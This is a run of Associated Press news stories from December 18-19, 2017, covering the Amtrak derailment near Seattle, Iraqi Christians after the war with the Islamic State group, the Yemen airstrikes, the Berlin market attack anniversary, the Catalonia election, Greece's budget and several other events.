FILE - In this Nov. 1, 2017, file photo, Los Angeles Dodgers starting pitcher Yu Darvish, of Japan, throws against the Houston Astros during the first inning of Game 7 of baseball's World Series in Los Angeles. Free agent pitcher Darvish said Monday, Dec. 18, he had a "very good meeting" with the Chicago Cubs. Darvish tweeted a statement in Japanese confirming the meeting amid reports that Cubs executives Theo Epstein and Jed Hoyer were in Dallas to speak with the right-hander. (AP Photo/Jae C. Hong, File)

Darvish was 10-12 with a 3.86 ERA last season for the Texas Rangers and Los Angeles Dodgers. The four-time All-Star pitched well in a pair of playoff starts but was hit hard by Houston in the World Series, losing both his outings as the Dodgers were beaten in seven games.

Darvish also used the meeting to sharpen his English. The 31-year-old says he did not bring a translator because "I wanted to put myself in a more challenging stage regarding my English."

The 3 1/2-hour sit-down left Darvish "very tired," but he says he "will work hard again tomorrow speaking English."
BAGHDAD (AP) - As Iraq emerges from more than three years of war with the Islamic State group, battling an extremist "mentality" will be the key to peaceful coexistence among the country's religious and ethnic groups, the top Chaldean Catholic Church official tells The Associated Press.

Patriarch Louis Raphael Sako, leader of the Iraq-based church, also appealed for an end to discrimination against Christians in Iraq and the reconstruction of Christian areas in the country's north left in ruins by the war to enable Christian families to return.

Once a vibrant community that enjoyed protection and near equal rights with the Muslim majority under the rule of Saddam Hussein, the number of Iraq's Christians has steadily dwindled since the 2003 U.S.-led invasion as they have been targeted by Islamic militants, forcing the majority to flee the country.

In this Monday, Dec. 18, 2017 photo, Louis Raphael Sako, Chaldean Patriarch speaks during an interview with The Associated Press in Baghdad, Iraq. The head of Iraq's Chaldean Church says that battling extremist "mentality" is key to peaceful coexistence among Iraq's religious and ethnic groups as the nation emerges from more than three years of war with the Islamic State group.(AP Photo/Khalid Mohammed)

During the Islamic State group's onslaught across northern and western Iraq in 2014, thousands of Christians in Nineveh province, of which Mosul is the capital, fled as the extremists forced them to convert to Islam or pay a special tax, and often confiscated their property.

"They have this feeling that Islam is the completion of religion, is the only true religion and the others have been falsified," Sako told the AP on Monday at the headquarters of the Chaldean Catholic Patriarchate of Babylon, based in Baghdad.

"This is very bad this mentality," he said.

Since 2003, the number of Christians in Iraq has decreased to around half a million from an estimated 1.5 million, Sako lamented. Among the more than 3 million people who have been displaced inside the country since 2014 are 120,000 Christians, all of them aided by the Church as "the government gave nothing," he said.

"We feel that we are marginalized ... this is our land, we were here before the arrival of Islam and here the majority was Christians," Sako said.

Some Christians managed to return to villages and towns in Nineveh Plain outside Mosul, but none have yet returned to the city itself, where 25 churches suffered damage and were ransacked, he said.

"Now, what we are expecting as Christians, but also as Iraqis, from the government and also the international community is security and stability, also the construction of the villages, infrastructure, houses, but the priority is for security and stability otherwise people are not going back home," he said.

"This is the responsibility of the Iraqi government, but it is also the (responsibility of the) international community and especially it is the moral responsibility of America for they are also the reason behind what we lived out during 15 years after 2003," the patriarch said, referring to the year of the U.S.-led invasion.

The Iraqi government has declared the war against IS over after driving the extremists from all territory they controlled in 2014, but discrimination against Christians by Muslims has not ended, Sako said.

During a Friday sermon in the ethnically mixed city of Kirkuk, which was never under Islamic State control, a Sunni cleric described Christians as "infidels" and called on Muslims not to take part in Christmas celebrations and not to congratulate the Christians on the occasion. The same statements are also coming out from some mosques in the northern Kurdish self-ruled region, Sako said.

"This is bad, they are spreading hatred, this is not religion," he said.

Asked whether such mentality is a major obstacle toward reconciliation in the country, Sako said: "Yeah, sure."

"Daesh is done geographically, but it is not done yet ideologically," he warned, using the Arabic acronym for the Islamic State. "So all efforts must come together to change the concept of Daesh or Daesh interpretations, change the mentality, change the culture."

Sako called on Muslim leaders to "update" their religious messages and interpretations.

"We are not as it was in the middle ages," he said. "I think we are all brothers and sisters, we have to respect each other beyond our religion or ethnicity."

Sako called for reconsidering the "unjust" laws and constitution articles that deal with minorities in Iraq as well as the education curriculums that should give a space for the history and heritage of Christianity as "it never mentions our history and heritage, which goes back 700 years before Islam."

"This is a kind of genocide," he said. "Genocide does not necessarily mean we kill each other but it can also be achieved by erasing the memory."

"I think we need today to change the mentality of the culture, the education at the schools, media and look for a roadmap for the future of Iraq, but for all together not only for a group against other group," he added.

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Follow Sinan Salaheddin on Twitter at https://twitter.com/sinansm

In this Monday, Dec. 18, 2017 photo, Louis Raphael Sako, Chaldean Patriarch speaks during an interview with The Associated Press in Baghdad, Iraq. The head of Iraq's Chaldean Church says that battling extremist "mentality" is key to peaceful coexistence among Iraq's religious and ethnic groups as the nation emerges from more than three years of war with the Islamic State group.(AP Photo/Khalid Mohammed)

In this Monday, Dec. 18, 2017 photo, Louis Raphael Sako, Chaldean Patriarch speaks during an interview with The Associated Press in Baghdad, Iraq. The head of Iraq's Chaldean Church says that battling extremist "mentality" is key to peaceful coexistence among Iraq's religious and ethnic groups as the nation emerges from more than three years of war with the Islamic State group.(AP Photo/Khalid Mohammed)

In this Monday, Dec. 18, 2017 photo, Louis Raphael Sako, Chaldean Patriarch speaks during an interview with The Associated Press in Baghdad, Iraq. The head of Iraq's Chaldean Church says that battling extremist "mentality" is key to peaceful coexistence among Iraq's religious and ethnic groups as the nation emerges from more than three years of war with the Islamic State group.(AP Photo/Khalid Mohammed)
DUPONT, Wash. (AP) - A neurosurgeon and an Eagle Scout. A college student and military medics.

Commuters and emergency workers alike rushed to help survivors when an Amtrak passenger train derailed Monday south of Seattle and hurtled off an overpass onto a busy interstate below.

Oregon Health & Science University neurosurgeon Dr. Nathan Selden was headed to Seattle with his college-aged son when they came upon the deadly wreck near DuPont, Washington.

In this photo provided by Daniella Fenelon, first responders work at the scene of an Amtrak train that derailed in DuPont, south of Seattle on Monday, Dec. 18, 2017. The Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing some people, injuring dozens and crushing a few vehicles, authorities said. Fenelon was a passenger of the train. (Daniella Fenelon via AP)

It was the first mass casualty event Selden had seen, and he was amazed to see that one infant involved in the wreck seemed miraculously unharmed.

At least three people were killed and other were badly injured, authorities said. Selden was ushered to a medical triage tent to help tend to survivors as his son started running supplies from the firetrucks to the medical tents.

The most severely injured people had already been taken to hospitals by the time he arrived, Selden said, and the victims he assessed had sprains, open wounds, skull and pelvis fractures and other injuries.

He applauded the first responders as skilled, dedicated and compassionate. Trained professionals and untrained helpers worked together "amazingly well," he said.

"We were very close to the trains and it was a chaotic scene but a scene of complete purpose. Everybody knew what the goal was," Selden said.

Daniel Konzelman was also driving nearby with a friend when they saw the derailment. They pulled over and rushed to the wreckage, running along the tracks and over the bridge to reach the scene.

Some train cars had their roofs ripped off or were turned upside down. Others were turned sideways on the bridge. Konzelman, 24, and his friend clambered into train cars to look for victims.

"I just wanted to help people because I would want people to help me," he said.

A few years earlier Konzelman had become an Eagle Scout, and his scout training in first aid and emergency response kicked in, he said.

The scene was grisly, with some people pinned under the train and others who appeared to be dead. If people could move and seemed stable, Konzelman said he helped them climb out of the train. If they looked seriously hurt, he tried to offer comfort by talking to them to calm them down.

They stayed to help for nearly two hours.

"I wasn't scared. I knew what to expect. ... I prepared for the worst and hoped for the best. I saw a little bit of both," Konzelman said.

The train was making its first-ever run along a faster new route between Portland, Oregon, and Seattle.

About 35 military personnel from the nearby Joint Base Lewis-McChord were among the first to respond to the derailment. Base spokesman Gary Dangerfield paramedics, firefighters and others from the base regularly train with local authorities so they are ready to help in emergencies.

Witnesses said some military personnel ran to the cars stopped along the side of the road, gathering first aid kits, towels and other items that could assist in the rescue efforts.

Wendy Simmons arrived as people were helping the injured and saw first responders climbing into the train cars dangling over the edge of the overpass. She said people driving by also were stopping to help.

"People were pulling first aid kits out of their cars - putting jackets on people," she told Seattle-area television station KCPQ.

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Ho reported from Seattle. Rebecca Boone in Boise, Idaho, Phuong Le in Seattle and Alina Hartounian in Phoenix contributed to this report.

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For complete coverage of the deadly derailment, click here: https://www.apnews.com/tag/TrainDerailment .

In this photo provided by Daniella Fenelon, first responders work at the scene of an Amtrak train that derailed in DuPont, south of Seattle on Monday, Dec. 18, 2017. The Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing some people, injuring dozens and crushing a few vehicles, authorities said. Fenelon was a passenger of the train. (Daniella Fenelon via AP)

A volunteer carries out a box of supplies, including a teddy bear, from DuPont City Hall following a passenger train derailment in the area, on Monday, Dec. 18, 2017. (Grant Hindsley /seattlepi.com via AP)

Cars from an Amtrak train that derailed above lay spilled onto Interstate 5 alongside smashed vehicles Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing some people, authorities said. (AP Photo/Elaine Thompson)

Emergency crews respond after an Amtrak train derailed Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing several people, authorities said. (Joshua Bessex/The News Tribune via AP)
BALI, Indonesia (AP) - Indonesian officials said Tuesday they have arrested three foreigners who were attempting to smuggle illegal drugs to the tourist island of Bali.

Bali's customs office presented the three men from Australia, Malaysia and the United States at a news conference at the customs office near the airport.

The only suspect identified by name was Australian Isaac Emmanuel Roberts. The Malaysian and American were introduced only as CHJ and KSL.

Customs chief Himawan Indarjono said Roberts, 35, was arrested at Bali's airport on Dec. 4 carrying 19.9 grams (0.7 ounces) of methamphetamine and 6.2 grams (0.2 ounces) of the party drug ecstasy.

He said the 30-year-old Malaysian was arrested at the airport on Nov. 8 with 3 grams (0.1 ounces) of marijuana and 0.65 grams (0.02 ounces) of cocaine.

Indarjono said the American was detained Nov. 30 when he was picking up a package containing 336.6 grams (12 ounces) of marijuana at a post office.

"We hope these arrests were able to protect our society from the bad impact of drugs," Indarjono said. He added that all three suspects have been handed over to police.

Indonesia has very strict drug laws and convicted traffickers can be executed by a firing squad. More than 150 people are on death row, mostly for drug crimes, and about a third of them are foreigners.

Eighteen people convicted of drug-related offenses have been executed under the current President Joko "Jokowi" Widodo.
MILAN (AP) - Police in southern Italy have arrested seven people on charges of trafficking Nigerian women for prostitution.

Italy's Carabinieri said Tuesday that one Italian and six Nigerians face charges of human trafficking, trading in slaves, unlawful immigration and forcing women into prostitution.

The year-long investigation was instigated by victims of the trafficking ring, and that it turned up evidence of a criminal structure operating in Italy, Libya and Nigeria.

The International Organization for Migrants recorded a 600-percent increase in potential sex trafficking victims arriving in Italy over three years, most of them from Nigeria, to over 11,000 last year from under 1,500 in 2014.
GENEVA (AP) - The U.N. human rights office said Tuesday it has verified the killings of 136 Yemeni civilians and other non-combatants in airstrikes carried out over 11 days this month by a Saudi-led military coalition batting Yemen's Shiite rebels.

Spokesman Rupert Colville of the Office of the High Commissioner for Human Rights said U.N. officials are "deeply concerned" about a surge in civilian casualties from airstrikes following the killing in early December of Yemen's former president, Ali Abdullah Saleh.

Saleh was killed by the rebels, known as Houthis, after apparently switching alliances and turning against his former allies. Colville said the killings occurred between Dec. 6 and Dec. 16 in four northern provinces.

The airstrikes, which also injured 87 people, hit Yemen's rebel-run TV channel, a hospital in the Red Sea port city of Hodeida, and a wedding party - a strike that killed one woman and nine children, the rights office said.

Seven strikes on a police compound in Sanaa on Dec. 13 killed at least 43 people when the compound's prison grounds were hit, the office said. All those victims were reportedly detainees loyal to President Abed Rabbo Mansour Hadi, who is supported by the coalition.

"I think one can assume that that was a mistake," Colville said. "They weren't intending to kill prisoners from their own side."

After originally indicating that the 11-day confirmed death toll was 115, Colville later said it had increased to 136 to include a strike on Friday on a farmhouse in Hodeida governorate that left 20 people dead - including 14 children.

Meanwhile, hundreds of world figures urged the leaders of the United States, France and Britain on Tuesday to stop "stoking the flames of war" in impoverished Yemen. The statement, signed by 355 high-profile figures, marked the 1,000th day of the war, which has turned the poorest Arab country into the world's largest humanitarian crisis.

The signatories included eight Nobel peace laureates, religious leaders, Western lawmakers and rights defenders, as well as U.S. Congresswomen Barbara Lee and Pramila Jayapal, and Congressman Ro Khanna, all Democrats.

"To prevent further catastrophe and famine, Yemen needs an immediate cease-fire; an end to all blockages on access for food, fuel and medical supplies; and investment in a new, inclusive peace process," the statement read.

It appealed to President Donald Trump, British Prime Minister Theresa May and French President Emmanuel Macron.

"If you don't want the burden of the lives of thousands more Yemeni children on your hands, then the time to act is now. Yemen can't wait any longer," it said.

The appeal also called on the U.N. Security Council to press Saudi Arabia and its ally the United Arab Emirates, the main pillars of the coalition, to end the war in Yemen. The U.S.-backed coalition is seeking to restore Yemen's internationally recognized government to power.

Over the past three years, more than 10,000 people have been killed and three million displaced amid the Saudi-led coalition's air campaign against the Iranian-backed Houthis and their allies.

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Associated Press writers Samy Magdy in Cairo and Ahmed al-Haj in Sanaa, Yemen, contributed to this report.
GENEVA (AP) - The U.N. human rights office says an internal Israeli military probe that cleared troops of any wrongdoing in the death of a paraplegic Palestinian protester was "insufficient."

U.N. human rights chief Zeid Ra'ad al-Hussein called Tuesday for an independent and impartial investigation.

He said "facts" gathered by his staffers strongly suggest that excessive force was used against 29-year-old Ibrahim Abu Thraya, who used a wheelchair.

Palestinian health officials say Abu Thraya was shot in the head while demonstrating Friday in Gaza amid unrest following President Donald Trump's recognition of Jerusalem as Israel's capital.

Israel's military said no live fire was aimed at Abu Thraya and it was impossible to determine the cause of death.

Rights office spokesman Rupert Colville said the "very quick internal army investigation" was insufficient.
JOHANNESBURG (AP) - South African media are reporting that Olympian Oscar Pistorius is appealing his recently lengthened prison sentence for the murder of girlfriend Reeva Steenkamp.

Broadcaster EWN reports that Pistorius filed an application to the Constitutional Court on Tuesday.

The Supreme Court of Appeal last month more than doubled Pistorius' sentence to 13 years, calling the initial six-year sentence "shockingly lenient."

FILE - In this June 15, 2016, file photo, Oscar Pistorius leaves the High Court in Pretoria, South Africa, after his sentencing proceedings. South African media are reporting that Olympian Oscar Pistorius is appealing his recently lengthened prison sentence for the murder of girlfriend Reeva Steenkamp. Broadcaster EWN reports that Pistorius filed an application to the Constitutional Court on Tuesday, Dec. 19, 2017. (AP Photo/Themba Hadebe, File)

Now the earliest the double-amputee runner will be eligible for parole is 2023.

Pistorius killed Steenkamp in the pre-dawn hours of Valentine's Day 2013 after shooting four times through a closed toilet cubicle door with his 9 mm pistol. He claimed he mistook the 29-year-old model and reality TV star for an intruder.
BERLIN (AP) - As survivors and dignitaries marked the anniversary of last year's truck rampage at a Berlin Christmas market, German Chancellor Angela Merkel pledged Tuesday to help those injured or who had lost loved ones and improve the way authorities respond to such attacks.

Merkel was fiercely criticized by relatives in an open letter earlier this month, both for the way security services failed to stop the attack and the authorities' handling of the aftermath.

In a brief statement following an interreligious memorial service at the Kaiser Wilhelm Memorial Church in the heart of west Berlin, Merkel said she met with relatives and some of the dozens injured Monday to hear their views.

German Chancellor Angela Merkel, attends the opening of a memorial site in Berlin, Germany, Tuesday, Dec. 19, 2017 to honor the victims of the Christmas market terrorist attack on the Breitscheid square at the Kaiser Wilhelm Memorial Church one year ago. 12 people were killed and dozens injured when an attacker drove a truck into the market. (Maurizio Gambarini/dpa via AP)

"It was a very open and, on the part of the people affected, very blunt conversation which showed the weaknesses our state displayed in this situation," Merkel said.

"We will do what's humanly possible not just to ensure security but to help give those whose life was destroyed or affected the opportunity to return to their life," she said. "Today is a day of grief, but also a day of willingness to do better."

Germany's justice minister went further in acknowledging that painful errors had been made.

"We weren't properly prepared for the consequences that such a terrorist attack would have for those who were affected," Heiko Maas wrote in an op-ed for Berlin daily Tagesspiegel. "For this we can only apologize to the victims and the survivors," he said, adding that the government owed it to the relatives to learn from its mistakes.

The attack, carried out by a Tunisian asylum-seeker and petty criminal who had been on authorities' radar for months, was the deadliest in decades on German soil.

The perpetrator, Anis Amri, managed to flee the country but was shot and killed by Italian police days after the attack, which was later claimed by the Islamic State group.

Italian authorities are still investigating whether Amri had contacts in the country who helped him.

Following the service, Berlin's mayor Michael Mueller unveiled a memorial on the Breitscheidplatz featuring the names of those killed on Dec. 19, 2016. The memorial includes an almost 17-meter gash in the ground that was filled with a gold-colored metal, symbolizing the lives torn apart in the attack.

Relatives and dignitaries, including Merkel, placed candles and white roses beside the memorial. Church bells were due to ring at 8.02 p.m. (1902 GMT) for twelve minutes - one minute for each of the dead.

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Colleen Barry in Milan, Italy, contributed to this report.

German Chancellor Angela Merkel speaks as she attends the opening of a memorial site in Berlin, Germany, Tuesday, Dec. 19, 2017 to honor the victims of the Christmas market terrorist attack on the Breitscheid square at the Kaiser Wilhelm Memorial Church one year ago. 12 people were killed and dozens injured when an attacker drove a truck into the market. (Bernd von Jutrczenka/dpa via AP)

White roses sit beside a new memorial - a crack in the ground - after its opening in Berlin, Germany, Tuesday, Dec. 19, 2017 to honor the victims of the Christmas market terrorist attack on the Breitscheid square at the Kaiser Wilhelm Memorial Church one year ago. (AP Photo/Michael Sohn)

Crosses and flowers are set up in remembrance of the victims of the terrorist attack at the Christmas market at Breitscheidplatz square in Berlin, Germany, Monday, Dec. 18, 2017 where a truck steered by Tunisian attacker Anis Amri ran into a crowded Christmas market and killed 12 people on Dec. 19, 2016. (AP Photo/Markus Schreiber)

Police patrol at the Christmas market at Breitscheidplatz square in Berlin, Monday Dec. 18, 2017 where a truck steered by Tunisian attacker Anis Amri ran into a crowded Christmas market and killed several people a year ago on Dec. 19, 2016. (AP Photo/Markus Schreiber)

People visit the Christmas market at Breitscheidplatz square in Berlin, Monday Dec. 18, 2017 where a truck steered by Tunisian attacker Anis Amri ran into a crowded Christmas market and killed several people a year ago on Dec. 19, 2016. (AP Photo/Markus Schreiber)

Cars pass the Christmas market at Breitscheidplatz square in Berlin, Monday Dec. 18, 2017 where a truck steered by Tunisian attacker Anis Amri ran into a crowded Christmas market and killed several people a year ago on Dec. 19, 2016. (AP Photo/Markus Schreiber)

A concrete block secures the entrance of the Christmas market at Breitscheidplatz square in Berlin, Monday Dec. 18, 2017 where a truck steered by Tunisian attacker Anis Amri ran into a crowded Christmas market and killed several people on Dec. 19, 2016. (AP Photo/Markus Schreiber)

CORRECTS PHOTOGRAPHERS NAME TO MAURICIO GAMBARINI - Special police guard the Breitscheidplatz square in Berlin, Tuesday, Dec. 19, 2017, during commemoration ceremonies on the first anniversary of the Berlin Christmas Market attack in Berlin, Germany. 12 people were killed and dozens injured when an attacker drove a truck into the market. (Maurizio Gambarini/dpa via AP)

Flowers, candles and flags sit on stairs with the names of the killed people on the first anniversary of the Berlin Christmas Market attack in Berlin, Germany, Tuesday, Dec. 19, 2017. 12 people were killed and dozens injured when an attacker drove a truck into the market. (AP Photo/Michael Sohn)

Relatives of victims and survivors attend the opening of a memorial site in Berlin, Germany, Tuesday, Dec. 19, 2017 to honor the victims of the Christmas market terrorist attack on the Breitscheid square at the Kaiser Wilhelm Memorial Church one year ago. (Bernd von Jutrczenka/dpa via AP)
DADAAB, Kenya (AP) - The world must do more to help millions of refugees across sub-Saharan Africa, which hosts more than a quarter of the world's refugees, the United Nations said Tuesday.

U.N. refugee chief Filippo Grandi spoke to reporters while visiting what until recently was the world's largest refugee camp, Dadaab, in Kenya.

"You know, it is very difficult to fund programs in Africa. I am not ashamed to say it," Grandi said, adding that he fights "all the time" for more aid. Some of the world's poorest countries, including Uganda and Ethiopia, host hundreds of thousands of refugees from South Sudan and elsewhere.

U.N. refugee chief Filippo Grandi, center-right, visits a hospital as he tours Dadaab refugee camp, which currently hosts over 230,000 inhabitants, in northern Kenya Tuesday, Dec. 19, 2017. Grandi said Tuesday that the world must do more to help millions of refugees across sub-Saharan Africa, which hosts more than a quarter of the world's refugees. (AP Photo/Ben Curtis)

Kenya's government wants Dadaab, which hosts over 230,000 inhabitants, shut down, but the U.N. is urging patience and says all repatriations must be voluntary. A Kenyan court ruled in February that the government must not close Dadaab to refugees.

Some Kenyan officials have argued that the sprawling camp near the border with Somalia has been used as a recruiting ground for the Islamic extremist group al-Shabab and a base for launching attacks inside Kenya. But Kenyan officials have not provided conclusive proof of that.

The U.N. says more than 32,000 Somalis have returned home this year from camps in Kenya under a voluntary repatriation program. Human rights groups have raised concerns about refugees being pressured to leave, either by Kenyan authorities or by the cut in rations by 30 percent in October.

While touring Dadaab, Grandi spoke to about 20 families of Somali refugees who are set to return home. The U.N. refugee agency says about 19,000 refugees in Dadaab are "in the pipeline" to return to Somalia.

Kenya was the last leg of a trip during which Grandi also visited Djibouti and Somalia. He said he met some former refugees who have happily settled in Somalia and others who face challenges and need help. Returning home is a "difficult, brave choice" as Somalia remains fragile, he said on Twitter.

Some parts of Somalia are witnessing drought conditions, and the al-Qaida-linked al-Shabab frequently carries out deadly attacks, especially in the capital, Mogadishu. A truck bombing in October killed 512 people.

"We will need to be strong and continue to help Somalia be strong, so that also conditions will be in place better for people to come back," Grandi said. "At the moment, in many areas there is a lot of insecurity, there is drought, there is other difficulties, lack of infrastructure."

Many refugees he spoke to said they would not return home if the situation does not improve, he said.

The first settlement in Dadaab was established in 1991, when refugees fleeing conflict in Somalia started to cross the border into Kenya, according to the U.N. refugee agency.
BARCELONA, Spain (AP) - The Latest on Catalonia's political crisis (all times local):

9:45 p.m.

Spanish Prime Minister Mariano Rajoy has campaigned for his party ahead of a regional election in Catalonia by boasting about his government's crackdown on Catalan separatists.

Esquerra de Catalunya (ERC) party candidate Marta Rovira talks to journalists during a party campaign act in Estremera prison, where former vice president of Catalan regional government Oriol Junqueras is currently jailed, in Estremera central Spain, Tuesday, Dec. 19, 2017. Voters go to polls this week in Spain's northeastern region of Catalonia in elections called by the Spanish government after it sacked the former regional cabinet and dissolved the local parliament. At the back a dozen of pro-Spain activists hold up a blue banner reads in Spanish: "Spain does not give up". (AP Photo/Francisco Seco)

Rajoy called the election being held Thursday after he dismissed the region's pro-secession government following a declaration of independence by regional lawmakers on Oct. 27.

Polls show his Popular Party's (PP) candidate for regional president, Xavier Garcia Albiol, with the least support heading into the election. Many conservative voters have shifted to the upstart Ciutadans (Citizens) party.

Rajoy has recently intensified his campaigning in Catalonia.

During a closing campaign event on Tuesday, the prime minister told Popular Party supporters in Barcelona: "We have sacked the (Catalan) government because it was seated on a cascade of illegalities."

He added: "Those of us who defend democracy, the Constitution and the law are on the good side of history."

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9:30 p.m.

Marta Rovira, the No. 2 candidate for the left-wing republican ERC party in Spain's Catalonia region, says her goal in a regional election Thursday is to breathe fresh life into the Catalan secession bid.

Rovira said at her party's final campaign event on Tuesday night she is looking for "change, hope, social justice."

The rally was held in the Barcelona neighborhood where Oriol Junqueras, the party's jailed leader, lives. Recent polls indicate ERC is one of the front-runners in the election.

Junqueras, Catalonia's former deputy president, was jailed in Madrid on provisional rebellion charges after backing a unilateral declaration of Catalan independence in October.

The national government, deeming that move unconstitutional, dismissed the Catalan government and called Thursday's ballot.

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9:15 p.m.

Carles Puigdemont, the ousted Catalan separatist leader, has vowed to return to Catalonia if he's re-elected as the region's president on Thursday.

Puigdemont is campaigning in the polarized election from Brussels. He fled there with other former Cabinet members when Spanish authorities led by Prime Minister Mariano Rajoy took control of Catalonia in late October amid a defiant independence push.

He is hoping a win at the polls would allow him to avoid jail upon returning to Spain, where he is being sought as part of a sedition investigation stemming from the regional parliament's declaration of independence.

Puigdemont addressed his ticket's supporters in a video streamed live online and shown in Catalan towns on Tuesday night, saying "history observes us."

He said: "This time is not about who wins this election, it's about whether the country wins or Rajoy."

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8:30 p.m.

The leading regional presidential candidate opposing independence for Catalonia says she will bury the region's secession bid if she wins an election in two days.

Ines Arrimadas closed the campaign of her pro-business Ciudadanos (Citizens) party on Tuesday by addressing more than 2,000 supporters in Nou Barris, a working-class neighborhood of Barcelona where support for secession has been low in past elections.

She told the crowd: "On Thursday, we are going to awaken from this nightmare of the independence push."

The 34-year-old lawyer presented the election as a choice "either to extend this Catalonia that is broken and divided or to begin a new era for all Catalans."

Arrimadas has promised economic stability and to fight corruption while trying to turn anti-secessionist sentiment into support that would make her Catalonia's first female leader.

Pollsters estimate that she could win the most votes but fall short of a majority, creating a challenging scenario for forging postelection deals.

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2:25 p.m.

A Spanish state prosecutor has urged the Supreme Court to reject an appeal by Catalan pro-independence politician Oriol Junqueras to be freed from jail before this week's regional election in which he is among those expected to win the most votes.

In a report, the prosecutor said there was no reason to change the Supreme Court's decision to keep Junqueras in jail on provisional charges of rebellion, sedition and embezzlement following the Catalan parliament's declaration of independence Oct. 27.

Junqueras was deputy president in the Catalan government sacked by Spain's national government following the declaration. He heads the left-wing republican ERC party tipped to be among the most voted in Thursday's election.

Pro-Spain activists shouted insults as ERC party members made a brief solidarity visit to the jail Tuesday.

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9:10 a.m.

Political parties for and against Catalonia's independence from Spain are making a final effort to convince voters as campaigning for a regional election comes to an end.

The election Thursday is being held in exceptional circumstances as it was ordered by the Spanish government when it seized control of the region, dismissed its government and dissolved the regional parliament following a declaration of independence by lawmakers there Oct. 27.

Several of the ousted Cabinet, including former Catalan President Carles Puigdemont, are campaigning from Brussels where they have sought refuge from Spanish justice while others are in jail in Spain on provisional rebellion charges.

Puigdemont is to close his re-election campaign with a video speech Tuesday to be relayed at a party rally in Barcelona.

Fired Catalan Cabinet member and Esquerra de Catalunya (ERC) party candidate Raul Romeva, right, talks to journalists during a party campaign act in Estremera prison, where former vice president of Catalan regional government Oriol Junqueras is currently jailed, in Estremera central Spain, Tuesday, Dec. 19, 2017. Voters go to polls this week in Spain's northeastern region of Catalonia in elections called by the Spanish government after it sacked the former regional cabinet and dissolved the local parliament. (AP Photo/Francisco Seco)

Spanish, Catalan and European Union flags hang on balconies of a building near the Supreme Court in Madrid, Spain, Tuesday, Dec. 19, 2017. Political parties for and against Catalonia's independence from Spain are making a final effort to convince voters as campaigning ends for a regional election seen as another litmus test on secession fervor. (AP Photo/Francisco Seco)

A dozen of far right pro-Spain activists hold up a blue banner reading in Spanish: "Spain does not give up" during a Esquerra de Catalunya (ERC) party campaign act in Estremera prison, central Spain, Tuesday, Dec. 19, 2017. Voters go to polls this week in Spain's northeastern region of Catalonia in elections called by the Spanish government after it sacked the former regional cabinet and dissolved the local parliament. (AP Photo/Francisco Seco)

Catalonia parliament speaker and Esquerra de Catalunya (ERC) party candidate Carme Forcadell arrives to a party campaign act near a pro-Spain man waving a Spanish flag in Estremera prison central Spain, Tuesday, Dec. 19, 2017. Voters go to polls this week in Spain's northeastern region of Catalonia in elections called by the Spanish government after it sacked the former regional cabinet and dissolved the local parliament. (AP Photo/Francisco Seco)

Ines Arrimadas, centre, leader of the Citizens Party and candidate for the upcoming Catalan regional election, sits inside a bar in Barcelona, Spain, Tuesday, Dec. 19, 2017. Political parties for and against Catalonia's independence from Spain are making a final effort to convince voters as campaigning ends for a regional election seen as another litmus test on secession fervor. (AP Photo/Emilio Morenatti)

A man stands next to a banner reading in Catalan: "Freedom for Political Prisoners", in support of Catalonia politicians who have been jailed on charges of sedition in Barcelona, Spain, Tuesday, Dec. 19, 2017. Political parties for and against Catalonia's independence from Spain are making a final effort to convince voters as campaigning ends for a regional election seen as another litmus test on secession fervor. (AP Photo/Emilio Morenatti)

A man walks past posters for the upcoming Catalan regional election in Barcelona, Spain, Monday, Dec. 18, 2017. The Catalan regional government was removed from office by Spain's national government in late October after regional lawmakers passed a declaration of independence that Spanish authorities deemed illegal. (AP Photo/Emilio Morenatti)

People walk past a poster of the No. 2 on the Republican Left's list, Marta Rovira, next to an independence flag, ahead of the Catalan regional election in Barcelona, Spain, Monday, Dec. 18, 2017. The Catalan regional government was removed from office by Spain's national government in late October after regional lawmakers passed a declaration of independence that Spanish authorities deemed illegal. The upcoming election looks like a tight race between Catalans who support secession and those who prefer to remain in Spain. (AP Photo/Emilio Morenatti)
ATHENS, Greece (AP) - Greece's parliament on Tuesday approved the 2018 state budget, which includes further austerity measures beyond the official end of the country's third international bailout next summer.

All 153 lawmakers from the left-led governing coalition backed the budget measures in a late vote, while the 144 opposition lawmakers present rejected them. Three were absent from the vote.

Prime Minister Alexis Tsipras promised that the country will smoothly exit the eight-year crisis that has seen its economy shrink by a quarter and unemployment hit highs previously unseen during peacetime.

Greece's Prime Minister Alexis Tsipras, left, checks his notes as the leader of main opposition New Democracy party Kyriakos Mitsotakis leaves the podium during a parliament debate in Athens, on Tuesday, Dec. 19, 2017. Greek lawmakers are set to vote Tuesday on the country's 2018 budget, which includes further austerity measures beyond the official end of Greece's third international bailout next summer. (AP Photo/Thanassis Stavrakis)

Tsipras argued that international money markets - on whose credit Greece will have to depend once its rescue loan program ends - are showing strong confidence in the country's prospects, with the yield on Greek government bonds dropping to a pre-crisis low of less than 4 percent.

"The way to exit (the crisis) is for our borrowing costs to return to acceptable levels so the country can finance itself without the restrictive bailout framework," Tsipras said.

The budget promises Greece's international lenders continued belt-tightening measures and high primary budget surpluses - the budget balance before debt and interest payments are taken into account.

It sets the primary surplus at 2.44 percent for 2017 and 3.82 percent for 2018, higher than previously estimated. The economy is forecast to grow by 1.6 percent in 2017 and 2.5 percent next year, helped by a return to growth across Europe.

With the Greek economy worth around 185 billion euros ($271 billion) in 2018, the national debt will remain at just under 180 percent of annual GDP, roughly unchanged from the previous year.

Greeks will see new tax hikes and pension cuts over the next two years. Bailout lenders had demanded additional guarantees the Greek economy will be stabilized before considering measures to improve the country's debt repayment terms.

Opposition parties have criticized the budget, saying it will prolong the pain for Greeks. The main opposition conservative New Democracy party said the budget was "bleeding dry" the Greek people with 1.9 billion euros' worth of new austerity measures.

Greece's latest international bailout officially ends in August, more than eight years after the country first began receiving emergency loans from the other European Union countries that use the euro currency and the International Monetary Fund.

In return for the funds, successive governments have had to impose repeated rounds of tax hikes and spending cuts, as well as structural reforms aimed at reforming the country's moribund economy and making it more competitive.

Tsipras first was elected in 2015 on promises to quickly end the painful austerity. But negotiations with bailout creditors soon went awry and - threatened with a disastrous euro exit - he signed onto more income cuts, increased taxation and further spending cuts.

